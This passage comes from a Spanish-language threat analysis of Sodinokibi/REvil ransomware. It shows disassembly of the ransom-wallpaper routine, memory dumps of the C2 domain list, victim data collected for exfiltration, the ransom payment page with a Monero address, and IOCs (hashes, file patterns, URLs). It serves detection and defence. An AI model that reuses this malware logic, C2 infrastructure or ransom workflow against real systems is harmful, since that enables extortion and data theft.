   v6 = CreateCompatibleBitmap(v1, v4, v5);
   v28 = v6;
   if ( v6 )
    {
      SelectObject(v2, v6);
      v7 = GetDeviceCaps(v1, 90);
      v8 = MulDiv(18, v7, 72);
     v25 = -v8;
      v9 = CreateFontW(-v8, 0, 0, 0, 0, 0, 0, 0, 1u, 0, 0, 4u, 0, 0);
      v24 = v9;
```

•	00403463	2B4D E0	sub ecx,dword ptr ss:[ebp-20]	
•	00403466	50	push eax	
•	00403467	6A FF	push FFFFFFF	
•	00403469	FF35 A4C24100	push dword ptr ds: [41C2A4]	0041C2A4:&L"Your files are encrypted! Open
•	0040346F	894D D0	mov dword ptr ss:[ebp-30],ecx	
•	00403472	56	push esi	
٠	00403473	FF15 74B74100	<pre>call dword ptr ds:[<&DrawTextW>]</pre>	
٠	00403479	E8 3BFDFFFF	<pre>call payload_dll2_xor_pe.4031B9</pre>	

0041C2A4:&L"Your files are encrypted! Open e4cqobv50.info.txt!"

01EA6B40	00	00	00	00	00	00	00	00	EC	5C	37	49	38	00	00	1A	ì\7I8
01EA6B50	59	00	6F	00	75	00	72	00	20	00	66	00	69	00	6C	00	Y.o.u.rf.i.l.
01EA6B60	65	00	73	00	20	00	61	00	72	00	65	00	20	00	65	00	e.sa.r.ee.
01EA6B70	6E	00	63	00	72	00	79	00	70	00	74	00	65	00	64	00	n.c.r.y.p.t.e.d.
01EA6B80	21	00	20	00	4F	00	70	00	65	00	6E	00	20	00	65	00	!O.p.e.ne.
01EA6B90	34	00	63	00	71	00	6F	00	62	00	76	00	35	00	6F	00	4.c.q.o.b.v.5.o.
01EA6BA0	2E	00	69	00	6E	00	66	00	6F	00	2E	00	74	00	78	00	i.n.f.ot.x.
01EA6BB0	74	00	21	00	00	00	AB	EE	FE	t.!««««««««««îþ							
01EA6BC0	00	00	00	00	00	00	00	00	A6	5C	34	00	20	00	00	00	

eax:L"C:\\Users\\ImmuC===\\AppData\\Local\\Temp\\zaoi6xao08r.bmp"
ecx:L"zaoi6xao08r.bmp"
eax:L"C:\\Users\\ImmUC==\\AppData\\Local\\Temp\\zaoi6xao08r.bmp"

Figura 5.11.1: Creación de Bitmap.



Realizará un GetObject para obtener los datos del .bmp ya formado y lo colocará en la ruta que hemos visto antes, creando el objeto con CreateFileW y WriteFile

p p c t j	oop esi oush esi call GetOf cest eax, jz loc_4	Harg_0] ojectW eax 4031B4	
push esi push dword ptr ss:[ebp+8] call dword ptr ds:[<&GetObjectw>] test eax,eax je payload_dll2_xor_pe.403184	eax:L"0	:\\Users\\	ppData\\Local\\Temp\\zaoi6xao08r.bmp"
push 0C00 push [ebp call Crea mov edi, cmp edi, jz loc	000000h o+arg_8] ateFileW , eax , 0FFFFFFFFh _4031B2	push eax push esi push edi call WriteFi test eax, ea jnz short l	le x oc_403187
push edi push C0000000 push dword ptr ss:[ebp+10] call dword ptr ds:[<&CreateFilew>]	[ebp+10]:L"C:\\	Users\\ IMIII-I \\AppD	Data\\Local\\Temp\\zaoi6xao08r.bmp"

🛃 zaoi6xao08r.bmp

Figura 5.11.2: Obtención de la ruta.

El resultado final, será ver en nuestro escritorio, un fondo, como este, indicándonos que leamos el txt informativo, que ya estará droppeado por todas las carpetas posibles en nuestro equipo



Figura 5.11.3: Muestra de un escritorio con el Bitmap lanzado.



5.12. Conexión servidor C2

Una vez ya tiene el fondo cambiado, intenta realizar conexiones a unos servidores C2, su objetivo principal sería el de enviar información relevante de la víctima a estos, vemos que, introducirá las direcciones de todos los servidores que hemos visto anteriormente en el JSON cargadas

push	offset sub_402497
push	edi
push	3Bh
push	dword ptr ds:41C298h
call	C2Servers
add	esp, 10h

01E9C7C8	6C	00	79	00	72	00	69	00	63	00	61	00	6C	00	64	00	1.y.r.i.c.a.l.d.
01E9C7D8	75	00	6E	00	69	00	79	00	61	00	2E	00	63	00	6F	00	u.n.i.y.ac.o.
01E9C7E8	6D	00	3B	00	74	00	68	00	65	00	62	00	6F	00	61	00	m.;.t.h.e.b.o.a.
01E9C7F8	72	00	64	00	72	00	6F	00	6F	00	6D	00	61	00	66	00	r.d.r.o.o.m.a.f.
01E9C808	72	00	69	00	63	00	61	00	2E	00	63	00	6F	00	6D	00	r.i.c.ac.o.m.
01E9C818	3B	00	63	00	68	00	72	00	69	00	73	00	2D	00	61	00	;.c.h.r.i.sa.
01E9C828	6E	00	6E	00	65	00	2E	00	63	00	6F	00	6D	00	3B	00	n.n.ec.o.m.;.
01E9C838	6F	00	77	00	6E	00	69	00	64	00	65	00	6E	00	74	00	o.w.n.i.d.e.n.t.
01E9C848	69	00	74	00	79	00	2E	00	63	00	6F	00	6D	00	3B	00	i.t.yc.o.m.;.
01500050	77	00	CC.	00	62	00	20	00	26	00	25	00	25	00	62	00	waheee c
										-	-						

Figura 5.12.1: Listado de servidores C2.

Una vez dentro, carga las URL en memoria

00404A03 074 1B je payload_dll2_x0r_pe.404A20 00404A08 8975 08 mov zx esi, word ptr ds:[eax] 00404A0B 66:3875 08 mov esi, ebx 00404A0B 66:3875 08 cmp vesi, ebx 00404A0B 66:3875 08 mov zx esi, word ptr ss:[ebp+8], esi 00404A0B 66:3875 08 cmp vesi, ebx 00404A11 74 0B je payload_dll2_xor_pe.404A1E 00404A13 83C2 02 add edx,2 00404A14 75 EF jne payload_dll2_xor_pe.404A0D 00404A12 66:3932 cmp word ptr ds:[edx] 00404A23 75 0A jne payload_dll2_xor_pe.404A2F 00404A25 83C0 02 add eax,2 00404A28 ~75 D1 ine payload_dll2_xor_pe.4049FE	<pre>mov edx,bx ie payload_dll2_xor_pe.404A20 movzx esi,word ptr ds:[eax] mov dword ptr ss:[ebp+8],esi mov esi,ebx cmp si,word ptr ss:[ebp+8] ie payload_dll2_xor_pe.404A1E add edx,2 movzx esi,word ptr ds:[edx] test si,si jne payload_dll2_xor_pe.404A0D xor esi,esi cmp word ptr ds:[edx],si jne payload_dll2_xor_pe.404A2F add eax,2 cmp word ptr ds:[eax],si jne payload_dll2_xor_pe.4049FE</pre>					
O1E9C7F8 72 00 64 00 72 00 6F 00 6D 00 61 00 66 00 r.i.c.ac.o.m 01E9C808 72 00 69 00 63 00 61 00 66 00 r.i.c.ac.o.m 01E9C808 72 00 69 00 73 00 2D 00 61 00 r.i.c.ac.o.m 01E9C818 3B 00 63 00 69 00 73 00 2D 00 61 00 r.i.c.ac.o.m 01E9C828 6E 00 6E 00 2E 00 63 00 6F 00 3B 00 n.n.ec.o.m.; 01E9C838 6F 00 72 00 2E 00 65 00 2E 00 63 00 6D 00 3B 00 n.n.ec.o.m.; 01E9C848 69 00 74						

Figura 5.12.2: Listado de URL cargadas en memoria.

E irá generando los path de las URL mediante un bucle, veremos extensiones como .jpg o .png, el cual será la información cifrada relevante de la víctima



Figura 5.12.3: URL e información del equipo cifrada.



Posteriormente, vemos como enviará el contenido del txt generado anteriormente y le habrá añadido una de las URL de la lista, la cual será el objetivo para enviar todos los datos

0041C290:&L"10"
0041C298:&L"lyricalduniya.com"
0041C2A0:&L"e4cqobv5o.info.txt"
0041C2A4:&L"Your files are encrypted! Open e4cqobv50.info.txt!"
004122A8:&L",e4cqobv50" [ebp-40]:L"nauticmarine.dk" 004122A:c:&L"Gadtwz2QBTac5kL+55Wpo65IkwY28qJ0xHoe4Xte81M="
0041C2B0:&L"EB682A47B093A650"
0041C2B4:&L"01W1/W6W0cOGMI38/6cAF53/sLvuIJ1umaHGYzFwybUuj/bY8vwwcIYkX4y10pmj/2CNu+VN315vyPCzdsPUW
0041C2B8:&L"infectado"
004122BC:&L"INFECTADO-PC" [ebp-2C]:L"Iyricalduniya.com" 004122C0:&L"WORK&ROUP"
0041C2C4:&L"en-US"
0041C2C8:&L"false"
0041C2CC:&L"Windows 7 Professional"
0041C2D0:&L"QwADAAAAAPCf+R0AAAAAAPSCFQAAAF0ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Figura 5.12.4: Información relevante previa a ser enviado al servidor C2.



6. Rescate

Para rescatar nuestros archivos, una vez hayamos leído la nota que se habrá creado en cada una de las carpetas, donde el Ransomware haya entrado, deberemos descargar TOR browser, introducir la Key que se deja en el documento y se nos darán las instrucciones para recuperar los ficheros, para ello, tenemos que asumir un pago en bitcoins, Monero, en un plazo de 7 días.

Enter the key here:





Your computer has been infected









Your documents, photos, databases and other important files encrypted To decrypt your files you need to Fol buy our special software - re qweqwe-Decryptor

Follow the instructions below. But remember that you do not have much time

qweqwe-Decryptor price

You have 6 d	ays, 23:59:52	Current price	27.45744 XMR ~ 1,500 USD	
* Time ends on Apr 21	l, 16:58:25	After time ends	54.91488 XMR ~ 3,000 USD	
Monero address: 8Ah	7N7PnGGCeroBsVMu5G519cF	kpy7jJRV4C	* XMR will be recalculate	d in 5 hours with an actual rate.
INSTRUCTIONS	CHAT SUPPORT	ABOUT US	Payment method	MONERO BITCOIN (+10%)

Figura 6.1: Instrucciones para recuperar datos



7. IOC

• MD5:

3E974B7347D347AE31C1B11C05A667E2 B488BDEEAEDA94A273E4746DB0082841 BED6FC04AEB785815744706239A1F243 1CE1CA85BFF4517A1EF7E8F9A7C22B16 1524B237E65D52AA7E2ADD5DBDCC7C05 A81961697199A3F9524A0F874E281612 512B538CE2C40112009383AE70331DCF E6566F78ABF3075EBEA6FD037803E176

• Fichero de rescate:

<hash_aleatorio>info.txt

Ejemplo: e4cqobv5o.info.txt

• Fichero bitmap de escritorio:

<hash_aleatorio>.bmp

Ejemplo: zaoi6xao08r.bmp

• Ejemplos de extensión del fichero cifrado:

- *.jpg.<Hash_aleatorio>
- *.png.<Hash_aleatorio>
- *.reg.<Hash_aleatorio>
- *.xml.<Hash_aleatorio>

Ejemplo: álbum.mp3.e4cqobv5o

• Url Relacionadas:

suitesartemis.gr rename.kz jefersonalessandro.com banukumbak.com pourlabretagne.bzh azerbaycanas.com lesyeuxbleus.net brannbornfastigheter.se kryddersnapsen.dk



8. Referencias

[1] - "Unos hackers secuestran archivos del Ayuntamiento de Zaragoza en un ciberataque." <u>https://www.hoyaragon.es/noticias-zaragoza-aragon/hackers-ayuntamiento-zaragoza/</u> <u>Publicada el 20/11/2019</u>

[2] - "RANSOMWARE CIERRA UNA EMPRESA FABRICANTE DE PIEZAS DE AUTO CON MÁS DE 100 AÑOS DE ANTIGÜEDAD; MÁS DE 4 MIL EMPLEOS PERDIDOS"<u>https://noticiasseguridad.com/hacking-</u> incidentes/ransomware-cierra-una-empresa-fabricante-de-piezas-de-auto-con-mas-de-100-anos-deantiguedad-mas-de-4-mil-empleos-perdidos/ Publicada el 24/01/2020

[3] - "McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us" <u>https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/</u> <u>Publicada el 02/10/2019</u>

[4] - "ThreatList: Ransomware Costs Double in Q4, Sodinokibi Dominates" <u>https://threatpost.com/threatlist-ransomware-costs-double-in-q4-sodinokibi-dominates/152200/</u> <u>Publicada el 24/01/2020</u>





Más información:

https://www.pandasecurity.com/business/



U.S. SALES 1.800.734.9905 INTERNATIONAL SALES +1.206.613.0895

www.watchguard.com | pandasecurity.com

No express or implied warranties are provided for herein. All specifications are subject to change and any expected future products, features, or functionality will be provided on an/if and when available basis. ©2020 WatchGuard Technologies, Inc. All rights reserved. WatchGuard, the WatchGuard logo, Panda Security are either trademarks or registered trademarks of WatchGuard Technologies, Inc. in the United States and/or other countries. All other trademarks and tradenames are the property of their respective owners.